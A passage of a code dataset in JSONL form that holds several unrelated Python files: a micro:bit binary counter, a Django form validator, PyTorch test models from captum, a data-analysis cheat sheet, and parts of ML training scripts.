= 20\nreg_lambdas_linear = np.linspace( 1e-10, 1e-6, 100, dtype = float )\n# reg_lambdas_linear = np.linspace( 5e-13, 1e-10, 100, dtype = float )\n(train_error_lk, \n test_error_lk ) = cv_hype(X, y, max_iter = max_iter , \n                            reg_lambdas = reg_lambdas_linear, \n                            kernel_type = 'linear',\n                            gamma = None)\n\n\nreg_gamma = 1e-5\n# reg_lambdas_rbf = np.linspace( 1e-5, 1e-4, 100, dtype = float )\nreg_lambdas_rbf = np.linspace( 1e-5, 5e-3, 100, dtype = float )\n(train_error_rbf, \n  test_error_rbf ) = cv_hype(X, y, max_iter = max_iter , \n                            reg_lambdas = reg_lambdas_rbf, \n                            kernel_type = 'rbf', \n                            gamma = reg_gamma)\n\n(train_error_gls, \n  test_error_gls ) = cv_hype(X, y, max_iter = max_iter , \n                            reg_lambdas = reg_lambdas_rbf, \n                            kernel_type = 'gls', \n                            gamma = None)\n\n\n\n","repo_name":"Ulises-Rosas/CS5033","sub_path":"core_functions.py","file_name":"core_functions.py","file_ext":"py","file_size_in_byte":7130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22557275914","text":"# Count the micro:bit's uptime dans display it under binary format\n# Press A to switch between binary and decimal display\n# Press B to add 1 to the counter\nfrom microbit import *\n\n\nBINARY = True\nDECIMAL = False\n\n\ndef decimal_to_binary_img(n):\n    \"\"\"\n    Take a number `n` and convert it into a \"micro:bit ready\" binary representation.\n    \"\"\"\n    # Convert the time from base 10 to base 2 (binary) on 25 positions\n    binary_n = '{0:025b}'.format(n)\n\n    # Revert the string to start displaying in the upper left corner\n    reverted_binary_n = ''.join(reversed(binary_n))\n\n    # Convert 1 to 9 (led's the brightest luminosity)\n    reverted_binary_n = reverted_binary_n.replace('1', '9')\n\n    # Build the image\n    return Image(':'.join([reverted_binary_n[i:i+5] for i in range(0, len(reverted_binary_n), 5)]))\n\n\ndisplay_format = BINARY\nwhile True:\n    button_pressed = False\n    seconds = running_time() // 1000\n\n    if button_b.was_pressed():\n        button_pressed = True\n        presses = button_b.get_presses()\n        seconds += button_b.get_presses()\n        display.scroll('+%s' % presses)\n\n    if button_a.was_pressed():\n        button_pressed = True\n        display_format = not display_format\n\n    if display_format == BINARY:\n        display.show(decimal_to_binary_img(seconds))\n    elif display_format == DECIMAL:\n        display.scroll(str(seconds))\n\n    if button_pressed:\n        # Directly retart the loop so the change appears faster\n        continue\n    else:\n        # Wait for a second\n        sleep(1000)\n","repo_name":"tdamdouni/iMicroBit","sub_path":"counter.py","file_name":"counter.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"}
{"seq_id":"23365976075","text":"# _*_ coding:utf-8 _*_\n__author__ = 'geda'\n__date__ = '2020/2/4 20:22'\nimport re\n\nfrom django import forms\nfrom operation.models import UserAsk\n\n\nclass UserAskForm(forms.ModelForm):\n\tclass Meta:\n\t\tmodel = UserAsk\n\t\tfields = ['name', 'mobile', 'course_name']\n\n\tdef clean_mobile(self):\n\t\tmobile = self.cleaned_data['mobile']\n\t\tp = re.compile('^0\\d{2,3}\\d{7,8}$|^1[358]\\d{9}$|^147\\d{8}')\n\t\tif p.match(mobile):\n\t\t\treturn mobile\n\t\traise forms.ValidationError('手机号码格式不正确', code='mobile_inval')","repo_name":"Guogeda/muxue","sub_path":"apps/organization/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"34209629545","text":"from collections import deque\n\nfrom rosshm import log\nfrom rosshm.db.sql import insert as mod_insert\nfrom rosshm.db.sql import select as mod_select\nfrom rosshm.db.sql import table\n\n__all__ = ['setLang', 'createTable', 'insert', 'select']\n\n# lang specifics manager\nlang = None\n\ndef setLang(manager):\n\tglobal lang\n\tlog.debug(f\"set lang {manager.name}\")\n\tlang = manager\n\ttable.lang = manager\n\tmod_insert.lang = manager\n\tmod_select.lang = manager\n\ncreateTable = table.create\ninsert = mod_insert.insert\nselect = mod_select.select\n","repo_name":"jrmsgit/rosshm","sub_path":"rosshm/db/sql/sql.py","file_name":"sql.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"71283127824","text":"#!/usr/bin/env python3\n\nfrom typing import no_type_check, Optional, Tuple\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch import Tensor\n\n\"\"\"\n@no_type_check annotation is applied to type-hinted models to avoid errors\nrelated to mismatch with parent (nn.Module) signature. # type_ignore is not\npossible here, since it causes errors in JIT scripting code which parses\nthe relevant type hints.\n\"\"\"\n\n\nclass BasicLinearReLULinear(nn.Module):\n    def __init__(self, in_features, out_features=5, bias=False) -> None:\n        super().__init__()\n        self.fc1 = nn.Linear(in_features, out_features, bias=bias)\n        self.relu1 = nn.ReLU()\n        self.fc2 = nn.Linear(out_features, 1, bias=bias)\n\n    def forward(self, x):\n        x = self.fc1(x)\n        x = self.relu1(x)\n        x = self.fc2(x)\n        return x\n\n\nclass MixedKwargsAndArgsModule(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n\n    def forward(self, x, y=None):\n        if y is not None:\n            return x + y\n        return x\n\n\nclass BasicModel(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n\n    def forward(self, input):\n        input = 1 - F.relu(1 - input)\n        return input\n\n\nclass BasicModel2(nn.Module):\n    \"\"\"\n    Example model one from the paper\n    https://arxiv.org/pdf/1703.01365.pdf\n\n    f(x1, x2) = RELU(ReLU(x1) - 1 - ReLU(x2))\n    \"\"\"\n\n    def __init__(self) -> None:\n        super().__init__()\n\n    def forward(self, input1, input2):\n        relu_out1 = F.relu(input1)\n        relu_out2 = F.relu(input2)\n        return F.relu(relu_out1 - 1 - relu_out2)\n\n\nclass BasicModel3(nn.Module):\n    \"\"\"\n    Example model two from the paper\n    https://arxiv.org/pdf/1703.01365.pdf\n\n    f(x1, x2) = RELU(ReLU(x1 - 1) - ReLU(x2))\n    \"\"\"\n\n    def __init__(self) -> None:\n        super().__init__()\n\n    def forward(self, input1, input2):\n        relu_out1 = F.relu(input1 - 1)\n        relu_out2 = F.relu(input2)\n        return F.relu(relu_out1 - relu_out2)\n\n\nclass BasicModel4_MultiArgs(nn.Module):\n    \"\"\"\n    Slightly modified example model from the paper\n    https://arxiv.org/pdf/1703.01365.pdf\n    f(x1, x2) = RELU(ReLU(x1 - 1) - ReLU(x2) / x3)\n    \"\"\"\n\n    def __init__(self) -> None:\n        super().__init__()\n\n    def forward(self, input1, input2, additional_input1, additional_input2=0):\n        relu_out1 = F.relu(input1 - 1)\n        relu_out2 = F.relu(input2)\n        relu_out2 = relu_out2.div(additional_input1)\n        return F.relu(relu_out1 - relu_out2)[:, additional_input2]\n\n\nclass BasicModel5_MultiArgs(nn.Module):\n    \"\"\"\n    Slightly modified example model from the paper\n    https://arxiv.org/pdf/1703.01365.pdf\n    f(x1, x2) = RELU(ReLU(x1 - 1) * x3[0] - ReLU(x2) * x3[1])\n    \"\"\"\n\n    def __init__(self) -> None:\n        super().__init__()\n\n    def forward(self, input1, input2, additional_input1, additional_input2=0):\n        relu_out1 = F.relu(input1 - 1) * additional_input1[0]\n        relu_out2 = F.relu(input2)\n        relu_out2 = relu_out2 * additional_input1[1]\n        return F.relu(relu_out1 - relu_out2)[:, additional_input2]\n\n\nclass BasicModel6_MultiTensor(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n\n    def forward(self, input1, input2):\n        input = input1 + input2\n        return 1 - F.relu(1 - input)[:, 1]\n\n\nclass BasicLinearModel(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n        self.linear = nn.Linear(7, 1)\n\n    def forward(self, x1, x2):\n        return self.linear(torch.cat((x1, x2), dim=-1))\n\n\nclass BasicLinearModel2(nn.Module):\n    def __init__(self, in_features, out_features) -> None:\n        super().__init__()\n        self.linear = nn.Linear(in_features, out_features, bias=False)\n\n    def forward(self, input):\n        return self.linear(input)\n\n\nclass BasicLinearModel_Multilayer(nn.Module):\n    def __init__(self, in_features, hidden_nodes, out_features) -> None:\n        super().__init__()\n        self.linear1 = nn.Linear(in_features, hidden_nodes, bias=False)\n        self.linear2 = nn.Linear(hidden_nodes, out_features, bias=False)\n\n    def forward(self, input):\n        x = self.linear1(input)\n        return self.linear2(x)\n\n\nclass ReLUDeepLiftModel(nn.Module):\n    r\"\"\"\n    https://www.youtube.com/watch?v=f_iAM0NPwnM\n    \"\"\"\n\n    def __init__(self) -> None:\n        super().__init__()\n        self.relu1 = nn.ReLU()\n        self.relu2 = nn.ReLU()\n\n    def forward(self, x1, x2, x3=2):\n        return 2 * self.relu1(x1) + x3 * self.relu2(x2 - 1.5)\n\n\nclass LinearMaxPoolLinearModel(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n        # kernel size -> 4\n        self.lin1 = nn.Linear(4, 4, bias=False)\n        self.lin1.weight = nn.Parameter(torch.eye(4, 4))\n        self.pool1 = nn.MaxPool1d(4)\n        self.lin2 = nn.Linear(1, 1, bias=False)\n        self.lin2.weight = nn.Parameter(torch.ones(1, 1))\n\n    def forward(self, x):\n        x = x.unsqueeze(1)\n        return self.lin2(self.pool1(self.lin1(x))[:, 0, :])\n\n\nclass BasicModelWithReusedModules(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n        self.lin1 = nn.Linear(3, 2)\n        self.relu = nn.ReLU()\n        self.lin2 = nn.Linear(2, 2)\n\n    def forward(self, inputs):\n        return self.relu(self.lin2(self.relu(self.lin1(inputs))))\n\n\nclass BasicModelWithReusedLinear(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n        self.lin1 = nn.Linear(3, 3)\n        self.relu = nn.ReLU()\n\n    def forward(self, inputs):\n        return self.relu(self.lin1(self.relu(self.lin1(inputs))))\n\n\nclass BasicModelWithSparseInputs(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n        self.lin1 = nn.Linear(3, 1)\n        self.lin1.weight = nn.Parameter(torch.tensor([[3.0, 1.0, 2.0]]))\n        self.lin1.bias = nn.Parameter(torch.zeros(1))\n\n    def forward(self, inputs, sparse_list):\n        return (\n            self.lin1(inputs) + (sparse_list[0] if torch.numel(sparse_list) > 0 else 0)\n        ).sum()\n\n\nclass BasicModel_MaxPool_ReLU(nn.Module):\n    def __init__(self, inplace=False) -> None:\n        super().__init__()\n        self.maxpool = nn.MaxPool1d(3)\n        self.relu = nn.ReLU(inplace=inplace)\n\n    def forward(self, x):\n        return self.relu(self.maxpool(x)).sum(dim=1)\n\n\nclass TanhDeepLiftModel(nn.Module):\n    r\"\"\"\n    Same as the ReLUDeepLiftModel, but with activations\n    that can have negative outputs\n    \"\"\"\n\n    def __init__(self) -> None:\n        super().__init__()\n        self.tanh1 = nn.Tanh()\n        self.tanh2 = nn.Tanh()\n\n    def forward(self, x1, x2):\n        return 2 * self.tanh1(x1) + 2 * self.tanh2(x2 - 1.5)\n\n\nclass ReLULinearModel(nn.Module):\n    r\"\"\"\n    Simple architecture similar to:\n    https://github.com/marcoancona/DeepExplain/blob/master/deepexplain/tests/test_tensorflow.py#L65\n    \"\"\"\n\n    def __init__(self, inplace: bool = False) -> None:\n        super().__init__()\n        self.l1 = nn.Linear(3, 1, bias=False)\n        self.l2 = nn.Linear(3, 1, bias=False)\n        self.l1.weight = nn.Parameter(torch.tensor([[3.0, 1.0, 0.0]]))  # type: ignore\n        self.l2.weight = nn.Parameter(torch.tensor([[2.0, 3.0, 0.0]]))  # type: ignore\n        self.relu = nn.ReLU(inplace=inplace)\n        self.l3 = nn.Linear(2, 1, bias=False)\n        self.l3.weight = nn.Parameter(torch.tensor([[1.0, 1.0]]))  # type: ignore\n\n    @no_type_check\n    def forward(self, x1: Tensor, x2: Tensor, x3: int = 1) -> Tensor:\n        return self.l3(self.relu(torch.cat([self.l1(x1), x3 * self.l2(x2)], dim=1)))\n\n\nclass SimpleLRPModel(nn.Module):\n    def __init__(self, inplace) -> None:\n        super().__init__()\n        self.linear = nn.Linear(3, 3, bias=False)\n        self.linear.weight.data.fill_(2.0)\n        self.relu = torch.nn.ReLU(inplace=inplace)\n        self.linear2 = nn.Linear(3, 1, bias=False)\n        self.linear2.weight.data.fill_(3.0)\n        self.dropout = torch.nn.Dropout(p=0.01)\n\n    def forward(self, x):\n        return self.dropout(self.linear2(self.relu(self.linear(x))))\n\n\nclass Conv1dSeqModel(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n        self.seq = nn.Sequential(nn.Conv1d(4, 2, 1), nn.ReLU(), nn.Linear(1000, 1))\n\n    def forward(self, inputs):\n        return self.seq(inputs)\n\n\nclass TextModule(nn.Module):\n    r\"\"\"Basic model that has inner embedding layer. This layer can be pluged\n    into a larger network such as `BasicEmbeddingModel` and help us to test\n    nested embedding layers\n    \"\"\"\n\n    def __init__(self, num_embeddings, embedding_dim, second_embedding=False) -> None:\n        super().__init__()\n        self.inner_embedding = nn.Embedding(num_embeddings, embedding_dim)\n        self.second_embedding = second_embedding\n        if self.second_embedding:\n            self.inner_embedding2 = nn.Embedding(num_embeddings, embedding_dim)\n\n    def forward(self, input=None, another_input=None):\n        assert input is not None, \"The inputs to embedding module must be specified\"\n        embedding = self.inner_embedding(input)\n        if self.second_embedding:\n            another_embedding = self.inner_embedding2(\n                input if another_input is None else another_input\n            )\n        return embedding if another_input is None else embedding + another_embedding\n\n\nclass BasicEmbeddingModel(nn.Module):\n    r\"\"\"\n    Implements basic model with nn.Embedding layer. This simple model\n    will help us to test nested InterpretableEmbedding layers\n    The model has the following structure:\n    BasicEmbeddingModel(\n      (embedding1): Embedding(30, 100)\n      (embedding2): TextModule(\n        (inner_embedding): Embedding(30, 100)\n      )\n      (linear1): Linear(in_features=100, out_features=256, bias=True)\n      (relu): ReLU()\n      (linear2): Linear(in_features=256, out_features=1, bias=True)\n    )\n    \"\"\"\n\n    def __init__(\n        self,\n        num_embeddings=30,\n        embedding_dim=100,\n        hidden_dim=256,\n        output_dim=1,\n        nested_second_embedding=False,\n    ) -> None:\n        super().__init__()\n        self.embedding1 = nn.Embedding(num_embeddings, embedding_dim)\n        self.embedding2 = TextModule(\n            num_embeddings, embedding_dim, nested_second_embedding\n        )\n        self.linear1 = nn.Linear(embedding_dim, hidden_dim, bias=False)\n        self.linear1.weight = nn.Parameter(torch.ones(hidden_dim, embedding_dim))\n        self.relu = nn.ReLU()\n        self.linear2 = nn.Linear(hidden_dim, output_dim)\n        self.linear2.weight = nn.Parameter(torch.ones(output_dim, hidden_dim))\n\n    def forward(self, input1, input2, input3=None):\n        embedding1 = self.embedding1(input1)\n        embedding2 = self.embedding2(input2, input3)\n        embeddings = embedding1 + embedding2\n        return self.linear2(self.relu(self.linear1(embeddings))).sum(1)\n\n\nclass MultiRelu(nn.Module):\n    def __init__(self, inplace: bool = False) -> None:\n        super().__init__()\n        self.relu1 = nn.ReLU(inplace=inplace)\n        self.relu2 = nn.ReLU(inplace=inplace)\n\n    @no_type_check\n    def forward(self, arg1: Tensor, arg2: Tensor) -> Tuple[Tensor, Tensor]:\n        return (self.relu1(arg1), self.relu2(arg2))\n\n\nclass BasicModel_MultiLayer(nn.Module):\n    def __init__(self, inplace=False, multi_input_module=False) -> None:\n        super().__init__()\n        # Linear 0 is simply identity transform\n        self.multi_input_module = multi_input_module\n        self.linear0 = nn.Linear(3, 3)\n        self.linear0.weight = nn.Parameter(torch.eye(3))\n        self.linear0.bias = nn.Parameter(torch.zeros(3))\n        self.linear1 = nn.Linear(3, 4)\n        self.linear1.weight = nn.Parameter(torch.ones(4, 3))\n        self.linear1.bias = nn.Parameter(torch.tensor([-10.0, 1.0, 1.0, 1.0]))\n\n        self.linear1_alt = nn.Linear(3, 4)\n        self.linear1_alt.weight = nn.Parameter(torch.ones(4, 3))\n        self.linear1_alt.bias = nn.Parameter(torch.tensor([-10.0, 1.0, 1.0, 1.0]))\n        self.multi_relu = MultiRelu(inplace=inplace)\n        self.relu = nn.ReLU(inplace=inplace)\n\n        self.linear2 = nn.Linear(4, 2)\n        self.linear2.weight = nn.Parameter(torch.ones(2, 4))\n        self.linear2.bias = nn.Parameter(torch.tensor([-1.0, 1.0]))\n\n    @no_type_check\n    def forward(\n        self,\n        x: Tensor,\n        add_input: Optional[Tensor] = None,\n        multidim_output: bool = False,\n    ):\n        input = x if add_input is None else x + add_input\n        lin0_out = self.linear0(input)\n        lin1_out = self.linear1(lin0_out)\n        if self.multi_input_module:\n            relu_out1, relu_out2 = self.multi_relu(lin1_out, self.linear1_alt(input))\n            relu_out = relu_out1 + relu_out2\n        else:\n            relu_out = self.relu(lin1_out)\n        lin2_out = self.linear2(relu_out)\n        if multidim_output:\n            stack_mid = torch.stack((lin2_out, 2 * lin2_out), dim=2)\n            return torch.stack((stack_mid, 4 * stack_mid), dim=3)\n        else:\n            return lin2_out\n\n\nclass BasicModelBoolInput(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n        self.mod = BasicModel_MultiLayer()\n\n    def forward(\n        self,\n        x: Tensor,\n        add_input: Optional[Tensor] = None,\n        mult: float = 10.0,\n    ):\n        assert x.dtype is torch.bool, \"Input must be boolean\"\n        return self.mod(x.float() * mult, add_input)\n\n\nclass BasicModel_MultiLayer_MultiInput(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n        self.model = BasicModel_MultiLayer()\n\n    @no_type_check\n    def forward(self, x1: Tensor, x2: Tensor, x3: Tensor, scale: int):\n        return self.model(scale * (x1 + x2 + x3))\n\n\nclass BasicModel_MultiLayer_TrueMultiInput(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n        self.m1 = BasicModel_MultiLayer()\n        self.m234 = BasicModel_MultiLayer_MultiInput()\n\n    @no_type_check\n    def forward(\n        self, x1: Tensor, x2: Tensor, x3: Tensor, x4: Optional[Tensor] = None\n    ) -> Tensor:\n        a = self.m1(x1)\n        if x4 is None:\n            b = self.m234(x2, x3, x1, scale=1)\n        else:\n            b = self.m234(x2, x3, x4, scale=1)\n        return a + b\n\n\nclass BasicModel_ConvNet_One_Conv(nn.Module):\n    def __init__(self, inplace: bool = False) -> None:\n        super().__init__()\n        self.conv1 = nn.Conv2d(1, 2, 3, 1)\n        self.relu1 = nn.ReLU(inplace=inplace)\n        self.fc1 = nn.Linear(8, 4)\n        self.conv1.weight = nn.Parameter(torch.ones(2, 1, 3, 3))  # type: ignore\n        self.conv1.bias = nn.Parameter(torch.tensor([-50.0, -75.0]))  # type: ignore\n        self.fc1.weight = nn.Parameter(  # type: ignore\n            torch.cat([torch.ones(4, 5), -1 * torch.ones(4, 3)], dim=1)\n        )\n        self.fc1.bias = nn.Parameter(torch.zeros(4))  # type: ignore\n        self.relu2 = nn.ReLU(inplace=inplace)\n\n    @no_type_check\n    def forward(self, x: Tensor, x2: Optional[Tensor] = None):\n        if x2 is not None:\n            x = x + x2\n        x = self.relu1(self.conv1(x))\n        x = x.view(-1, 8)\n        return self.relu2(self.fc1(x))\n\n\nclass BasicModel_ConvNetWithPaddingDilation(nn.Module):\n    def __init__(self, inplace: bool = False) -> None:\n        super().__init__()\n        self.conv1 = nn.Conv2d(1, 2, 3, padding=3, stride=2, dilation=2)\n        self.relu1 = nn.ReLU(inplace=inplace)\n        self.fc1 = nn.Linear(16, 4)\n\n    @no_type_check\n    def forward(self, x: Tensor):\n        bsz = x.shape[0]\n        x = self.relu1(self.conv1(x))\n        x = x.reshape(bsz, 2, -1)\n        return self.fc1(x).reshape(bsz, -1)\n\n\nclass BasicModel_ConvNet(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n        self.conv1 = nn.Conv2d(1, 2, 3, 1)\n        self.relu1 = nn.ReLU()\n        self.pool1 = nn.MaxPool2d(2)\n        self.conv2 = nn.Conv2d(2, 4, 3, 1)\n        self.relu2 = nn.ReLU()\n        self.pool2 = nn.MaxPool2d(2)\n        self.fc1 = nn.Linear(4, 8)\n        self.relu3 = nn.ReLU()\n        self.fc2 = nn.Linear(8, 10)\n        self.softmax = nn.Softmax(dim=1)\n\n        self.fc1.weight = nn.Parameter(torch.ones(8, 4))\n        self.fc2.weight = nn.Parameter(torch.ones(10, 8))\n\n    @no_type_check\n    def forward(self, x: Tensor) -> Tensor:\n        x = self.relu1(self.conv1(x))\n        x = self.pool1(x)\n        x = self.relu2(self.conv2(x))\n        x = self.pool2(x)\n        x = x.view(-1, 4)\n        x = self.relu3(self.fc1(x))\n        x = self.fc2(x)\n        return self.softmax(x)\n\n\nclass BasicModel_ConvNet_MaxPool1d(nn.Module):\n    \"\"\"Same as above, but with the MaxPool2d replaced\n    with a MaxPool1d. This is useful because the MaxPool modules\n    behave differently to other modules from the perspective\n    of the DeepLift Attributions\n    \"\"\"\n\n    def __init__(self) -> None:\n        super().__init__()\n        self.conv1 = nn.Conv1d(1, 2, 3)\n        self.relu1 = nn.ReLU()\n        self.pool1 = nn.MaxPool1d(2)\n        self.conv2 = nn.Conv1d(2, 4, 3)\n        self.relu2 = nn.ReLU()\n        self.pool2 = nn.MaxPool1d(2)\n        self.fc1 = nn.Linear(4, 8)\n        self.relu3 = nn.ReLU()\n        self.fc2 = nn.Linear(8, 10)\n        self.softmax = nn.Softmax(dim=1)\n\n        self.fc1.weight = nn.Parameter(torch.ones(8, 4))\n        self.fc2.weight = nn.Parameter(torch.ones(10, 8))\n\n    @no_type_check\n    def forward(self, x: Tensor) -> Tensor:\n        x = self.relu1(self.conv1(x))\n        x = self.pool1(x)\n        x = self.relu2(self.conv2(x))\n        x = self.pool2(x)\n        x = x.view(-1, 4)\n        x = self.relu3(self.fc1(x))\n        x = self.fc2(x)\n        return self.softmax(x)\n\n\nclass BasicModel_ConvNet_MaxPool3d(nn.Module):\n    \"\"\"Same as above, but with the MaxPool1d replaced\n    with a MaxPool3d. This is useful because the MaxPool modules\n    behave differently to other modules from the perspective\n    of the DeepLift Attributions\n    \"\"\"\n\n    def __init__(self) -> None:\n        super().__init__()\n        self.conv1 = nn.Conv3d(1, 2, 3)\n        self.relu1 = nn.ReLU()\n        self.pool1 = nn.MaxPool3d(2)\n        self.conv2 = nn.Conv3d(2, 4, 3)\n        self.relu2 = nn.ReLU()\n        self.pool2 = nn.MaxPool3d(2)\n        self.fc1 = nn.Linear(4, 8)\n        self.relu3 = nn.ReLU()\n        self.fc2 = nn.Linear(8, 10)\n        self.softmax = nn.Softmax(dim=1)\n\n        self.fc1.weight = nn.Parameter(torch.ones(8, 4))\n        self.fc2.weight = nn.Parameter(torch.ones(10, 8))\n\n    def forward(self, x):\n        x = self.relu1(self.conv1(x))\n        x = self.pool1(x)\n        x = self.relu2(self.conv2(x))\n        x = self.pool2(x)\n        x = x.view(-1, 4)\n        x = self.relu3(self.fc1(x))\n        x = self.fc2(x)\n        return self.softmax(x)\n","repo_name":"pytorch/captum","sub_path":"tests/helpers/basic_models.py","file_name":"basic_models.py","file_ext":"py","file_size_in_byte":18679,"program_lang":"python","lang":"en","doc_type":"code","stars":4279,"dataset":"github-code","pt":"47"}
{"seq_id":"11827896119","text":"import matplotlib.pyplot as plot\nimport pandas as pd\nimport numpy as np\nimport seaborn as sb\n\nfrom sklearn.decomposition import PCA\nfrom sklearn.decomposition import FactorAnalysis\nfrom sklearn.cross_decomposition import CCA\nfrom sklearn.cluster import AgglomerativeClustering\nimport scipy.cluster.hierarchy as hiclu\n\n# pandas\ndata_frame = pd.read_csv(\"./resources/example_data.csv\", index_col=0)\ndata_frame.sort_values(\"globalRank\")\n# print(data_frame.values, data_frame.index)\n\n# numpy\ndef standardise(ndarray):\n    means = np.mean(ndarray)\n    stddev = np.std(ndarray)\n    ndarray = (ndarray - means) / stddev\n    return ndarray\n\ndef replace_na(ndarray):\n    return ndarray.fillna(np.nanmean(ndarray))\n\nreplaced = replace_na(data_frame)\nstandardised = standardise(replaced)\n\nr = np.corrcoef(standardised, rowvar=False)\ncorrelation_data_frame = pd.DataFrame(r)\neigenvalues, eigenvectors = np.linalg.eigh(correlation_data_frame)\nreversed_eigenvalues = [i for i in reversed(np.argsort(eigenvalues))]\na = eigenvectors[reversed_eigenvalues]\nalpha = eigenvectors[:,reversed_eigenvalues]\n\n# plot.plot(alpha, correlation_data_frame.values, \"r+\")\n# sb.heatmap(np.corrcoef(alpha), cmap='bwr', vmin=0, vmax=1, annot=True)\n# plot.show()\n\n# graphics\n# draw a heatmap\nx_series = [[21,1,1],\n            [1,2,1],\n            [2,1,1]]\n\ny_series = [[10,1,6],\n            [10,3,0],\n            [1,0,0]]\n\nheatmap_data = np.corrcoef(x_series, y_series)\nmax = np.max(heatmap_data)\nmin = np.min(heatmap_data)\n# sb.heatmap(np.round(heatmap_data, 2), cmap='bwr', vmin=min, vmax=max, annot=True)\n\n# draw a circle\ndata_x = np.random.uniform(-1, 1, (20))\ndata_y = np.random.uniform(-1, 1, (20))\nplot.figure(\"Circle\", figsize=(6, 6))\nc = [x for x in np.arange(0, np.math.pi * 2, 0.01)]\nx = [np.sin(x) for x in c]\ny = [np.cos(x) for x in c]\nplot.plot(x, y)\nplot.plot(data_x, data_y, 'r+')\n# plot.show()\n\n# draw a line graph\ndata_xi = [x for x in np.arange(0, 1, 0.1)]\ndata_yi = [x * np.random.uniform(1, -1) for x in data_xi]\nplot.figure(\"Line chart\", figsize=(3, 6))\nplot.plot(data_xi, data_yi)\n# plot.show()\n\n# pca\ncomponents = PCA().fit(data_frame).explained_variance_ratio_\nplot.plot([k*100 for k in components], data_frame.columns)\nplot.show()\n\n#efa\nfactors = FactorAnalysis().fit(data_frame).components_\nplot.plot(data_frame.columns, factors)\nplot.show()\n\n#cca\ncca = CCA(n_components=4).fit(data_frame[data_frame.columns[:5]], data_frame[data_frame.columns[5:]])\nprint(cca.x_scores_, cca.y_scores_, cca.x_loadings_, cca.y_loadings_)\n\n#hca\nclusters = AgglomerativeClustering(n_clusters=6, affinity='manhattan', linkage='average').fit(data_frame)\nprint(clusters.labels_)\nhiclu.dendrogram(np.ndarray(clusters.labels_))","repo_name":"erkovacs/ada-cheat-sheet","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"35265002624","text":"\nimport logging\n\nimport pandas as pd\nfrom path import Path\n\nlg = logging.getLogger(__name__)\n\ndef save(dbdir, **tables):\n    dbdir = Path(dbdir).expanduser()\n    dbdir.makedirs_p()\n    lg.info(\"saving to db dir: %s\" % dbdir)\n    assert dbdir.isdir()\n    for name, table in tables.items():\n        lg.info(\"saving %s (%d records)\", name, len(table))\n        table.to_pickle(dbdir / '%s.pickle' % (name))\n        table.describe().to_csv(\n            dbdir / '%s.describe.tsv' % (name), sep=\"\\t\")\n\ndef load(db, name):\n    dbdir = Path(db).expanduser()\n    return pd.read_pickle(dbdir / ('%s.pickle' % name))\n    \n    \n","repo_name":"mfiers/nfj","sub_path":"nfj/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"10454801904","text":"import numpy as np\nimport os\nimport torch\nimport torch.nn as nn\nimport matplotlib.pyplot as plt\nfrom torch.autograd import Variable\nfrom ptb_common import load_model, init_device, ptb_raw_data, ModelInfo, Batch, ptb_iterator, repackage_hidden\nfrom models import RNN, GRU\nfrom models import make_model as TRANSFORMER\nfrom sklearn.preprocessing import minmax_scale\n\n\ndef compute_grad_per_timestep(model, device, data, loss_fn):\n    \"\"\"\n    One epoch of training/validation (depending on flag is_train).\n    \"\"\"\n    model.eval()\n\n    # LOOP THROUGH MINIBATCHES\n    for step, (x, y) in enumerate(ptb_iterator(data, model.batch_size, model.seq_len)):\n\n        hidden = model.init_hidden()\n        hidden = hidden.to(device)\n\n        inputs = torch.from_numpy(x.astype(np.int64)).transpose(0, 1).contiguous().to(device)\n        model.zero_grad()\n        hidden = repackage_hidden(hidden)\n        outputs, hidden = model(inputs, hidden)\n\n        targets = torch.from_numpy(y.astype(np.int64)).transpose(0, 1).contiguous().to(device)\n        # LOSS COMPUTATION\n        last_loss = loss_fn(outputs[-1], targets[-1])\n\n        # Compute gradient with respect to last loss. Average gradients in batch\n        grads = torch.empty(0).to(device)\n        for layer_states in model.state_history:\n            batch_grads = torch.autograd.grad(last_loss, layer_states, retain_graph=True)\n            avg_grads = [torch.mean(bg, 0) for bg in batch_grads]\n            # Gradients for each layer concatenated into a single vector\n            grads = torch.cat((grads, torch.stack(avg_grads)), dim=1)\n\n        return [s.norm() for s in grads]\n\n\ndef plot_loss_per_step(model_infos, grads_by_model):\n\n    results_folder = './5_results'\n    x = np.arange(35) + 1\n\n    for model_info, grads in zip(model_infos, grads_by_model):\n        grads = minmax_scale(grads)\n        plt.plot(x, grads, '-o', label=model_info.model)\n    plt.title(\"$\\\\nabla h_t L_T$ Gradient Normal Vs. Timestep\")\n    plt.ylabel(\"Gradient Norm (Scaled)\")\n    plt.xlabel(\"Timestep\")\n    plt.legend()\n    file_name = 'grads_per_timestep.png'\n    plt.savefig(os.path.join(results_folder, file_name), bbox_inches='tight', pad_inches=0.2)\n    plt.clf()\n    plt.close()\n\n\ndef compute_grad_per_timestep_by_model():\n    device = init_device()\n    train_data, valid_data, test_data, word_to_id, id_2_word = ptb_raw_data(data_path='data')\n    vocab_size = len(word_to_id)\n    loss_fn = nn.CrossEntropyLoss()\n    # # Models from 4_1\n    model_infos = [ModelInfo('RNN', 'ADAM', 0.0001, 20, 35, 1500, 2, 0.35),\n                   